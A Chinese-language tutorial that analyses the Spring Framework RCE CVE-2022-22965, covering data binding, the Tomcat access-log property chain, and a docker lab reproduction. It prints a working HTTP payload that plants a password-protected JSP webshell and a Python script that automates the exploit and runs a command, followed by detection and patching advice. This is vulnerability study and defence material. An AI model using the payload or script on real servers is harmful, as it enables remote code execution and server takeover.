前言:
关于CVE-2022-22965漏洞的环境调试和内容,网上看了一波,感觉有些知识点内容还是必须要了解才能理解该漏洞,为此详细写了下从Spring框架结构分析,环境搭建到漏洞分析调试整体的一个过程理解,在遇到其他类型的漏洞也可以去调试运用。
(一)了解Spring框架
由于本文主要介绍漏洞原理流程,所以有关框架不会具体展开,会将涉及到的内容进行解释。
1、spring framework
它是Java最流行的一个框架,基于Spring我们可以直接调用实现一些简单的业务逻辑即可使用,同时也包含了许多高级的功能,比如面向切面编程,也可以非常简单的和其他组件进行集成,比如说我们用Spring访问数据库Redis......它都已经提供了相应的接口。
2、Spring Boot
但是spring的配置非常繁琐,后来出现了Spring Boot , 其内置tomcat并且内置默认的XML配置信息,从而方便了用户的使用。下图就直观表现了他们之间的关系
Spring mvc就是spring中的一个MVC框架,主要用来开发web应用和网络接口,但是其使用之前需要配置大量的xml文件,比较繁琐,所以出现springboot,其内置tomcat并且内置默认的XML配置信息,从而方便了用户的使用。
(二) 漏洞介绍
Spring Framework RCE, Early Announcement
受影响范围:
- Spring Framework < 5.3.18
- Spring Framework < 5.2.20
- JDK ≥ 9
不受影响版本:
- Spring Framework = 5.3.18
- Spring Framework = 5.2.20
- JDK < 9
- *与Tomcat版本有关
基础知识
在Spring MVC框架里面,假如我们在前端发请一个HTTP的请求,在后端用Controller进行接收处理,Spring提供了如果你请求的参数和你所编写的参数可以对应起来的话,它就会调用对应set和get方法(默认自带的方法)进行自动绑定,当然也可以进行多级绑定:
eg:
参数名赋值:contry.province.city.district=jianye
调用链路:
Contry.getProvince() Province.getCity() City.getDistrict() District.setDistrictName()
江苏->南京->建邺
eg:
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class UserController {
@RequestMapping(“/addUser”)
public @ResponseBody String addUser(User user) {
return “OK”;
}
}
public class User {
private String name;
private Department department;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Department getDepartment() {
return department;
}
public void setDepartment(Department department) {
this.department = department;
}
}
public class Department {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
当请求为/addUser?name=test&department.name=SEC时,public String addUser(User user)中的user参数内容如下:
PropertyDescriptor
**JDK自带: **
- Java Bean PropertyDescriptor
- 自动调用类对象的get/set方法
eg:
import java.beans.BeanInfo;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;
public class PropertyDescriptorDemo {
public static void main(String[] args) throws Exception {
User user = new User();
user.setName(“foo”);
BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class);
PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors();
PropertyDescriptor userNameDescriptor = null;
for (PropertyDescriptor descriptor : descriptors) {
if (descriptor.getName().equals(“name”)) {
userNameDescriptor = descriptor;
System.out.println(“userNameDescriptor: “ + userNameDescriptor);
System.out.println(“Before modification: “);
System.out.println(“user.name: “ + userNameDescriptor.getReadMethod().invoke(user));
userNameDescriptor.getWriteMethod().invoke(user, “bar”);
}
}
System.out.println(“After modification: “);
System.out.println(“user.name: “ + userNameDescriptor.getReadMethod().invoke(user));
}
}
userNameDescriptor: java.beans.PropertyDescriptor[name=name; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.String; readMethod=public java.lang.String cn.jidun.User.getName(); writeMethod=public void cn.jidun.User.setName(java.lang.String)]
Before modification:
user.name: foo
After modification:
user.name: bar
从上述代码和输出结果可以看到,PropertyDescriptor实际上就是Java Bean的属性和对应get/set方法的集合
- BeanWrapperImpl(使上面调用更加简单)
- Spring自带:
- BeanWrapperImpl
- 对Spring容器中管理的对象,自动调用get/set方法
eg:
import org.springframework.beans.BeanWrapper;
import org.springframework.beans.BeanWrapperImpl;
public class BeanWrapperDemo {
public static void main(String[] args) throws Exception {
User user = new User();
user.setName(“foo”);
Department department = new Department();
department.setName(“SEC”);
user.setDepartment(department);
BeanWrapper userBeanWrapper = new BeanWrapperImpl(user);
userBeanWrapper.setAutoGrowNestedPaths(true);
System.out.println(“userBeanWrapper: “ + userBeanWrapper);
System.out.println(“Before modification: “);
System.out.println(“user.name: “ + userBeanWrapper.getPropertyValue(“name”));
System.out.println(“user.department.name: “ + userBeanWrapper.getPropertyValue(“department.name”));
userBeanWrapper.setPropertyValue(“name”, “bar”);
userBeanWrapper.setPropertyValue(“department.name”, “IT”);
System.out.println(“After modification: “);
System.out.println(“user.name: “ + userBeanWrapper.getPropertyValue(“name”));
System.out.println(“user.department.name: “ + userBeanWrapper.getPropertyValue(“department.name”));
}
}
userBeanWrapper: org.springframework.beans.BeanWrapperImpl: wrapping object [cn.jidun.User@1d371b2d]
Before modification:
user.name: foo
user.department.name: SEC
After modification:
user.name: bar
user.department.name: IT
从上述代码和输出结果可以看到,通过BeanWrapperImpl可以很方便地访问和设置Bean的属性,比直接使用PropertyDescriptor要简单很多。
利用思路:
通过Controller的参数赋值(自动绑定), 可以修改任意对象的属性值,假如说我们修改一个文件名和保存路径,写入一个话木马,用中国蚁剑连接,控制整个项目,那么我们就成功实现入侵。这个文件就是Tomcat
Tomcat日志:
我们想利用的就是access_log属性值里面的内容。
access_log属性:
- directory: access_log文件输出目录
- prefix: access_log文件名前缀
- suffix: access_log文件名后缀
- pattern: access_log文件内容格式
- fileDateFormat:access_log文件名日期后缀,默认为.yyyy-MM-dd
在server.xml里面就配置了对应的文件名和保存路径,在它里面我们找到了类名。
调用链
class.module.classLoader.resources.context.parent.pipeline.first.pattern User.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()
org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
org.apache.catalina.webresources.StandardRoot.getContext()
org.apache.catalina.core.StandardContext.getParent()
org.apache.catalina.core.StandardHost.getPipeline()
org.apache.catalina.core.StandardPipeline.getFirst()
org.apache.catalina.valves.AccessLogValve.setPattern
(三)漏洞复现
1、进入并启动
cd spring/CVE-2022-22965
docker-compose up -d
启动需要一定的时间,主要看电脑的性能。
2、漏洞复现
访问网页并且进行抓包,修改红色框中的内容,其内容的简单目的是写入恶意代码到webapps/ROOT目录下的fuck.jsp文件中,在访问该文件的时候,需要验证密码pwd之后才能够执行需要执行的命令cmd。(PS:每次写完shell会有缓存,因此payload没打成功请重启)
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22fuck%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20=%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
suffix: %>//
c1: Runtime
c2: <%
看似复杂,实质上就是反复调用get和set方法,进行复制取值修改路径注入一句话木马,我们来具体分析一下。
1、BP抓包,加入代码
首先对suffix(后缀名)、c1(路径)、c2(文件名)参数进行替换。
经过处理之后,有些java基础的人已经看出来了这是一个写入webshell的语法
首先判断pwd是否是fuck,如果通过就执行cmd命令
写入一句话木马,我们可以通过中国蚁进行连接,密码就是参数名pwd
GET
/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=
<% if("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1; byte[] b = new byte[2048];
while((a=in.read(b))!=-1){
out.println(new String(b));
}
}%>//
&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp //后缀名是jsp
&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT //路径是webapps/ROOT
&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck //文件名字是fuck
&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
进入到容器内部,查看是否生成了fuck.jsp,发现成功生成了fuck.jsp,并且其内部的内容也是成功写入了
docker ps
docker exec -it 7c /bin/bash
cd webapps/ROOT
cat fuck.jsp
感觉上述步骤麻烦,直接自己写pthyon脚本进行攻击
import requests
headers={
"suffix": "%>//",
"c1": "Runtime",
"c2": "<%"
}
payload1='/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat='
ip="http://192.168.1.136:8080"
payload2='/fuck.jsp?pwd=fuck&cmd=id'
try:
U1=requests.get(url=ip+payload1,headers=headers,verify=False,timeout=3)
U2=requests.get(url=ip+payload2,verify=False,timeout=3)
if U2.status_code == 200:
print(f"The VULN CVE-2022-22965 exists, payload is :{payload2.replace('/','')}")
except Exception as e:
print(e)
(四)排查思路
- Spring 参数绑定功能
- JDK版本 9+
- Tomcat部署方式及版本
- Tomcat Access功能
- 流量分析
- 日志分析
(五)漏洞修复
(参考: 深信服千里目安全实验室)
1、WAF等安全组件防护
在WAF等网络防护设备上,根据实际部署业务的流量情况,实现对“class.*”“Class.”“.class.”“.Class.*”等字符串的规则过滤,并在部署过滤规则后,对业务运行情况进行测试,避免产生额外影响。
2、官方修补
更新升级到最新版本。链接如下:
https://github.com/spring-projects/spring-framework/tags
注:Spring Framework 5.3.18和Spring Framework 5.2.20是 Spring 官方提供的两个安全版本
版权归原作者 @Camelus 所有, 如有侵权,请联系我们删除。